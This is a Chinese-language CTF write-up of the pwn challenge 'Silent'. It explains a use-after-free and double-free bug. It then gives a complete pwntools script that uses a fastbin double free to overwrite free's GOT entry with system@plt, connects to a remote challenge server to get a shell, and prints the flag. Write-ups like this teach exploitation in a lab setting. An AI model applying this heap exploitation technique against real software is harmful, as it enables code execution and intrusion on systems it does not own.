[Pwn] Silent -Cpt.shao xp0int Posted on Mar 27 2018 ? Pwn ? ? UAF ? ? Fasbin ? ? Double-free ? 漏洞的位置十分明显,删除操作后没有把列表中的指针清零,导致可以进行UAF或者Double free。 ![](https://leanote.com/api/file/getImage?fileId=5ab83a33ab644112f1000218) 程序中没有任何输出语句,所以才叫做silent,不过好在也不需要泄露任何地址,程序中已经给了`system`函数,直接调用它的plt地址就可以了。 我用的还是常规的Fastbin套路,先用一次double free让fast bin 里面重复出现一个chunk,然后修改它的fd,指向got上方一个符合要求的地址。这里选用的是`0x601ffa`. 注意选用大小为`0x50`的chunk来满足检查条件,然后覆盖got上面的`free`地址,把它改为`system@plt`的地址即可。 ```python from pwn import * # p = process('./silent') p = remote('39.107.32.132',10000) elf = ELF('./silent') context.log_level = 'debug' system = elf.plt['system'] def add(size, content): p.sendline('1') p.sendline(str(size)) p.sendline(content) def change(idx, content): p.sendline('3') p.sendline(str(idx)) p.sendline(content) def delete(idx): p.sendline('2') p.sendline(str(idx)) p.recvuntil('::;::::...;;;:.') add(0x50, 'A'*0x8 + '\x00'*(0x4f-8)) add(0x50, 'B'*0x4f) add(0x50, '/bin/sh\x00'.ljust(0x4f, '\x00')) delete(0) delete(1) delete(0) s = p64(0x601ffa) s = s.ljust(0x4f, '\x00') add(0x50, s) add(0x50, 'D'*0x4f) add(0x50, 'D'*0x4f) payload = 'E'*14 + p64(system) add(0x50, payload) # gdb.attach(p, 'b strlen\nb *0x4008b6') delete(1) p.interactive() ``` ## FLAG qwbctf{talk_is_cheap_show_m3_the_code} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Onepunch - Cpt.shao [Pwn] RaisePig -Cpt.shao
没有帐号? 立即注册